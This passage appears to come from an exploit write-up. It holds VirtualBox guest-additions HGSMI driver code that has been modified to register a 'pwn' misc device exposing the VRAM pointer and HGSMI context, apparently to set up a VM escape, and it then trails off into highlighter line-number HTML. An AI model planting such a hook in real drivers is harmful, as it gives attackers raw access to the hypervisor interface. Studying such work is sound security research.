uint32_t offVRAMGuestHeapMemory,                                             const HGSMIENV *pEnv)  {      g_vram = (char*)pvGuestHeapMemory &#8211; offVRAMGuestHeapMemory;      g_hgsmiContext = pCtx;      printk(&#8220;Registering device node. VRAM @ 0x%016lxn&#8221;, g_vram);      if (!misc_register(&amp;g_PwnDevice)) {          printk(&#8220;Successfully created pwn device.n&#8221;);      } else {          printk(&#8220;Error creating pwn device.n&#8221;);      }        \/** @todo should we be using a fixed ISA port value here? *\/      pCtx-&gt;port = (RTIOPORT)VGA_PORT_HGSMI_GUEST;  #ifdef VBOX_WDDM_MINIPORT      return VBoxSHGSMIInit(&amp;pCtx-&gt;heapCtx, pvGuestHeapMemory,                            cbGuestHeapMemory, offVRAMGuestHeapMemory, pEnv);  #else      return HGSMIHeapSetup(&amp;pCtx-&gt;heapCtx, pvGuestHeapMemory,                            cbGuestHeapMemory, offVRAMGuestHeapMemory, pEnv);  #endif  }      \/**   * Get the information needed to map the area used by the host to send back   * requests.   *   * @param  pCtx                the context containing the heap to use   * @param  cbVRAM              how much video RAM is allocated to the device   * @param  offVRAMBaseMapping  the offset of the basic communication structures   *                             into the guest&#8217;s VRAM   * @param  poffVRAMHostArea    where to store the offset into VRAM of the host   *                             heap area   * @param  pcbHostArea         where to store the size of the host heap area   *\/  DECLHIDDEN(void) VBoxHGSMIGetHostAreaMapping(PHGSMIGUESTCOMMANDCONTEXT pCtx,                                               uint32_t cbVRAM,                                               uint32_t offVRAMBaseMapping,                                               uint32_t *poffVRAMHostArea,                                               uint32_t *pcbHostArea)  {      uint32_t offVRAMHostArea = offVRAMBaseMapping, cbHostArea = 0;        AssertPtrReturnVoid(poffVRAMHostArea);      AssertPtrReturnVoid(pcbHostArea);      VBoxQueryConfHGSMI(pCtx, VBOX_VBVA_CONF32_HOST_HEAP_SIZE, &amp;cbHostArea);      if (cbHostArea != 0)      {          uint32_t cbHostAreaMaxSize = cbVRAM \/ 4;          \/** @todo what is the idea of this? *\/          if (cbHostAreaMaxSize &gt;= VBVA_ADAPTER_INFORMATION_SIZE)          {              cbHostAreaMaxSize -= VBVA_ADAPTER_INFORMATION_SIZE;          }          if (cbHostArea &gt; cbHostAreaMaxSize)          {              cbHostArea = cbHostAreaMaxSize;          }          \/* Round up to 4096 bytes. *\/          cbHostArea = (cbHostArea + 0xFFF) &amp; ~0xFFF;          offVRAMHostArea = offVRAMBaseMapping &#8211; cbHostArea;      }        *pcbHostArea = cbHostArea;      *poffVRAMHostArea = offVRAMHostArea;      LogFunc((&#8220;offVRAMHostArea = 0x%08X, cbHostArea = 0x%08Xn&#8221;,               offVRAMHostArea, cbHostArea));  }      \/**   * Initialise the host context structure.   *   * @param  pCtx               the context structure to initialise   * @param  pvBaseMapping      where the basic HGSMI structures are mapped at   * @param  offHostFlags       the offset of the host flags into the basic HGSMI   *                            structures   * @param  pvHostAreaMapping  where the area for the host heap is mapped at   * @param  offVRAMHostArea    offset of the host heap area into VRAM   * @param  cbHostArea         size in bytes of the host heap area   *\/  DECLHIDDEN(void) VBoxHGSMISetupHostContext(PHGSMIHOSTCOMMANDCONTEXT pCtx,                                             void *pvBaseMapping,                                             uint32_t offHostFlags,                                             void *pvHostAreaMapping,                                             uint32_t offVRAMHostArea,                                             uint32_t cbHostArea)  {      uint8_t *pu8HostFlags = ((uint8_t *)pvBaseMapping) + offHostFlags;      pCtx-&gt;pfHostFlags = (HGSMIHOSTFLAGS *)pu8HostFlags;      \/** @todo should we really be using a fixed ISA port value here? *\/      pCtx-&gt;port        = (RTIOPORT)VGA_PORT_HGSMI_HOST;      HGSMIAreaInitialize(&amp;pCtx-&gt;areaCtx, pvHostAreaMapping, cbHostArea,                           offVRAMHostArea);  }      \/**   * Tell the host about the ways it can use to communicate back to us via an   * HGSMI command   *   * @returns  iprt status value   * @param  pCtx                  the context containing the heap to use   * @param  offVRAMFlagsLocation  where we wish the host to place its flags   *                               relative to the start of the VRAM   * @param  fCaps                 additions HGSMI capabilities the guest   *                               supports   * @param  offVRAMHostArea       offset into VRAM of the host heap area   * @param  cbHostArea            size in bytes of the host heap area   *\/  DECLHIDDEN(int) VBoxHGSMISendHostCtxInfo(PHGSMIGUESTCOMMANDCONTEXT pCtx,                                           HGSMIOFFSET offVRAMFlagsLocation,                                           uint32_t fCaps,                                           uint32_t offVRAMHostArea,                                           uint32_t cbHostArea)  {      Log((&#8220;VBoxVideo::vboxSetupAdapterInfon&#8221;));        \/* setup the flags first to ensure they are initialized by the time the       * host heap is ready *\/      int rc = vboxHGSMIReportFlagsLocation(pCtx, offVRAMFlagsLocation);      AssertRC(rc);      if (RT_SUCCESS(rc) &amp;&amp; fCaps)      {          \/* Inform about caps *\/          rc = vboxHGSMISendCapsInfo(pCtx, fCaps);          AssertRC(rc);      }      if (RT_SUCCESS (rc))      {          \/* Report the host heap location. *\/          rc = vboxHGSMIReportHostArea(pCtx, offVRAMHostArea, cbHostArea);          AssertRC(rc);      }      Log((&#8220;VBoxVideo::vboxSetupAdapterInfo finished rc = %dn&#8221;, rc));      return rc;  }      \/** Sanity test on first call.  We do not worry about concurrency issues. *\/  static int testQueryConf(PHGSMIGUESTCOMMANDCONTEXT pCtx)  {      static bool cOnce = false;      uint32_t ulValue = 0;      int rc;        if (cOnce)          return VINF_SUCCESS;      cOnce = true;      rc = VBoxQueryConfHGSMI(pCtx, UINT32_MAX, &amp;ulValue);      if (RT_SUCCESS(rc) &amp;&amp; ulValue == UINT32_MAX)          return VINF_SUCCESS;      cOnce = false;      if (RT_FAILURE(rc))          return rc;      return VERR_INTERNAL_ERROR;  }      \/**   * Query the host for an HGSMI configuration parameter via an HGSMI command.   * @returns iprt status value   * @param  pCtx      the context containing the heap used   * @param  u32Index  the index of the parameter to query,   *                   @see VBVACONF32::u32Index   * @param  u32DefValue defaut value   * @param  pulValue  where to store the value of the parameter on success   *\/  DECLHIDDEN(int) VBoxQueryConfHGSMIDef(PHGSMIGUESTCOMMANDCONTEXT pCtx,                                        uint32_t u32Index, uint32_t u32DefValue, uint32_t *pulValue)  {      int rc = VINF_SUCCESS;      VBVACONF32 *p;      LogFunc((&#8220;u32Index = %dn&#8221;, u32Index));        rc = testQueryConf(pCtx);      if (RT_FAILURE(rc))          return rc;      \/* Allocate the IO buffer. *\/      p = (VBVACONF32 *)VBoxHGSMIBufferAlloc(pCtx,                                       sizeof(VBVACONF32), HGSMI_CH_VBVA,                                       VBVA_QUERY_CONF32);      if (p)      {          \/* Prepare data to be sent to the host. *\/          p-&gt;u32Index = u32Index;          p-&gt;u32Value = u32DefValue;          rc = VBoxHGSMIBufferSubmit(pCtx, p);          if (RT_SUCCESS(rc))          {              *pulValue = p-&gt;u32Value;              LogFunc((&#8220;u32Value = %dn&#8221;, p-&gt;u32Value));          }          \/* Free the IO buffer. *\/          VBoxHGSMIBufferFree(pCtx, p);      }      else          rc = VERR_NO_MEMORY;      LogFunc((&#8220;rc = %dn&#8221;, rc));      return rc;  }    DECLHIDDEN(int) VBoxQueryConfHGSMI(PHGSMIGUESTCOMMANDCONTEXT pCtx,                                     uint32_t u32Index, uint32_t *pulValue)  {      return VBoxQueryConfHGSMIDef(pCtx, u32Index, UINT32_MAX, pulValue);  }    \/**   * Pass the host a new mouse pointer shape via an HGSMI command.   *   * @returns  success or failure   * @param  fFlags    cursor flags, @see VMMDevReqMousePointer::fFlags   * @param  cHotX     horizontal position of the hot spot   * @param  cHotY     vertical position of the hot spot   * @param  cWidth    width in pixels of the cursor   * @param  cHeight   height in pixels of the cursor   * @param  pPixels   pixel data, @see VMMDevReqMousePointer for the format   * @param  cbLength  size in bytes of the pixel data   *\/  DECLHIDDEN(int)  VBoxHGSMIUpdatePointerShape(PHGSMIGUESTCOMMANDCONTEXT pCtx,                                               uint32_t fFlags,                                               uint32_t cHotX,                                               uint32_t cHotY,                                               uint32_t cWidth,                                               uint32_t cHeight,                                               uint8_t *pPixels,                                               uint32_t cbLength)  {      VBVAMOUSEPOINTERSHAPE *p;      uint32_t cbData = 0;      int rc = VINF_SUCCESS;        if (fFlags &amp; VBOX_MOUSE_POINTER_SHAPE)      {          \/* Size of the pointer data: sizeof (AND mask) + sizeof (XOR_MASK) *\/          cbData = ((((cWidth + 7) \/ 8) * cHeight + 3) &amp; ~3)                   + cWidth * 4 * cHeight;          \/* If shape is supplied, then always create the pointer visible.           * See comments in &#8216;vboxUpdatePointerShape&#8217;           *\/          fFlags |= VBOX_MOUSE_POINTER_VISIBLE;      }      LogFlowFunc((&#8220;cbData %d, %dx%dn&#8221;, cbData, cWidth, cHeight));      if (cbData &gt; cbLength)      {          LogFunc((&#8220;calculated pointer data size is too big (%d bytes, limit %d)n&#8221;,                   cbData, cbLength));          return VERR_INVALID_PARAMETER;      }      \/* Allocate the IO buffer. *\/      p = (VBVAMOUSEPOINTERSHAPE *)VBoxHGSMIBufferAlloc(pCtx,                                                    sizeof(VBVAMOUSEPOINTERSHAPE)                                                  + cbData,                                                  HGSMI_CH_VBVA,                                                  VBVA_MOUSE_POINTER_SHAPE);      if (p)      {          \/* Prepare data to be sent to the host. *\/          \/* Will be updated by the host. *\/          p-&gt;i32Result = VINF_SUCCESS;          \/* We have our custom flags in the field *\/          p-&gt;fu32Flags = fFlags;          p-&gt;u32HotX   = cHotX;          p-&gt;u32HotY   = cHotY;          p-&gt;u32Width  = cWidth;          p-&gt;u32Height = cHeight;          if (p-&gt;fu32Flags &amp; VBOX_MOUSE_POINTER_SHAPE)              \/* Copy the actual pointer data. *\/              memcpy (p-&gt;au8Data, pPixels, cbData);          rc = VBoxHGSMIBufferSubmit(pCtx, p);          if (RT_SUCCESS(rc))              rc = p-&gt;i32Result;          \/* Free the IO buffer. *\/          VBoxHGSMIBufferFree(pCtx, p);      }      else          rc = VERR_NO_MEMORY;      LogFlowFunc((&#8220;rc %dn&#8221;, rc));      return rc;  }      \/**   * Report the guest cursor position.  The host may wish to use this information   * to re-position its own cursor (though this is currently unlikely).  The   * current host cursor position is returned.   * @param  pCtx             The context containing the heap used.   * @param  fReportPosition  Are we reporting a position?   * @param  x                Guest cursor X position.   * @param  y                Guest cursor Y position.   * @param  pxHost           Host cursor X position is stored here.  Optional.   * @param  pyHost           Host cursor Y position is stored here.  Optional.   * @returns  iprt status code.   * @returns  VERR_NO_MEMORY      HGSMI heap allocation failed.   *\/  DECLHIDDEN(int) VBoxHGSMICursorPosition(PHGSMIGUESTCOMMANDCONTEXT pCtx, bool fReportPosition, uint32_t x, uint32_t y,                                          uint32_t *pxHost, uint32_t *pyHost)  {      int rc = VINF_SUCCESS;      VBVACURSORPOSITION *p;      Log((&#8220;%s: x=%u, y=%un&#8221;, __PRETTY_FUNCTION__, (unsigned)x, (unsigned)y));        \/* Allocate the IO buffer. *\/      p = (VBVACURSORPOSITION *)VBoxHGSMIBufferAlloc(pCtx, sizeof(VBVACURSORPOSITION), HGSMI_CH_VBVA, VBVA_CURSOR_POSITION);      if (p)      {          \/* Prepare data to be sent to the host. *\/          p-&gt;fReportPosition = fReportPosition ? 1 : 0;          p-&gt;x = x;          p-&gt;y = y;          rc = VBoxHGSMIBufferSubmit(pCtx, p);          if (RT_SUCCESS(rc))          {              if (pxHost)                  *pxHost = p-&gt;x;              if (pyHost)                  *pyHost = p-&gt;y;              Log((&#8220;%s: return: x=%u, y=%un&#8221;, __PRETTY_FUNCTION__, (unsigned)p-&gt;x, (unsigned)p-&gt;y));          }          \/* Free the IO buffer. *\/          VBoxHGSMIBufferFree(pCtx, p);      }      else          rc = VERR_NO_MEMORY;      LogFunc((&#8220;rc = %dn&#8221;, rc));      return rc;  }      \/** @todo Mouse pointer position to be read from VMMDev memory, address of the memory region   * can be queried from VMMDev via an IOCTL. This VMMDev memory region will contain   * host information which is needed by the guest.   *   * Reading will not cause a switch to the host.   *   * Have to take into account:   *  * synchronization: host must write to the memory only from EMT,   *    large structures must be read under flag, which tells the host   *    that the guest is currently reading the memory (OWNER flag?).   *  * guest writes: may be allocate a page for the host info and make   *    the page readonly for the guest.   *  * the information should be available only for additions drivers.   *  * VMMDev additions driver will inform the host which version of the info it expects,   *    host must support all versions.   *   *\/<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-50\">50<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-51\">51<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-52\">52<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-53\">53<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-54\">54<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-55\">55<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-56\">56<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-57\">57<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-58\">58<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-59\">59<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-60\">60<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-61\">61<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-62\">62<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-63\">63<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-64\">64<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-65\">65<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-66\">66<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-67\">67<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-68\">68<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-69\">69<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-70\">70<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-71\">71<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-72\">72<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-73\">73<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-74\">74<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-75\">75<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-76\">76<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-77\">77<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-78\">78<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-79\">79<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-80\">80<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-81\">81<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-82\">82<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-83\">83<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-84\">84<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-85\">85<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-86\">86<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-87\">87<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-88\">88<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-89\">89<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-90\">90<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-91\">91<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-92\">92<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-93\">93<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-94\">94<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-95\">95<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-96\">96<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-97\">97<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-98\">98<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-99\">99<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-100\">100<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-101\">101<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-102\">102<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-103\">103<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-104\">104<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-105\">105<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-106\">106<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-107\">107<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-108\">108<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-109\">109<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-110\">110<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-111\">111<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-112\">112<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-113\">113<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-114\">114<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-115\">115<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-116\">116<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-117\">117<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-118\">118<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-119\">119<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-120\">120<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-121\">121<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-122\">122<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-123\">123<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-124\">124<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-125\">125<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-126\">126<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-127\">127<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-128\">128<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-129\">129<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-130\">130<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-131\">131<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-132\">132<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-133\">133<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-134\">134<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-135\">135<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-136\">136<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-137\">137<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-138\">138<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-139\">139<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-140\">140<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-141\">141<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-142\">142<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-143\">143<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-144\">144<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-145\">145<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-146\">146<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-147\">147<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-148\">148<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-149\">149<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-150\">150<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-151\">151<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-152\">152<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-153\">153<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-154\">154<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-155\">155<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-156\">156<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-157\">157<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-158\">158<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-159\">159<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-160\">160<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-161\">161<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-162\">162<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-163\">163<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-164\">164<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-165\">165<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-166\">166<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-167\">167<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-168\">168<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-169\">169<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e37d433429326-170\">170<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37d433429326-171\">171<\/div>\n<div class=\"crayon-num crayon-striped-num\" 